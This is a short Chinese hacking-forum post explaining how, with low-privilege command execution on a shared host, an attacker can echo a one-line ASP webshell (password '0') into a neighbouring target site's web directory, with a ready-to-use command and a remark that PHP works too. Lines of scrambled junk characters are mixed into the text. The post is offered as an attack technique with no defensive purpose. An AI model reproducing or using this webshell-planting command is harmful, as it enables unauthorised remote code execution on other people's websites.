旁注cmd低权限下拿webshell

admin

在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。

命令格式
4 A8 {7 x- q: l8 g  C, U
3 C$ J4 R3 ^. s& U) [5 AEcho 语句 >目标站绝对目录
4 v. h' T0 w$ y  I! O
例如：

echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp
. d9 W; o+ @$ ?5 O9 j
& l6 h+ s$ E; `/ ~8 i3 M7 q: |2 k5 ~这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。
0 Z- ^9 Q1 ?0 Z$ Z7 H3 i$ F( A3 }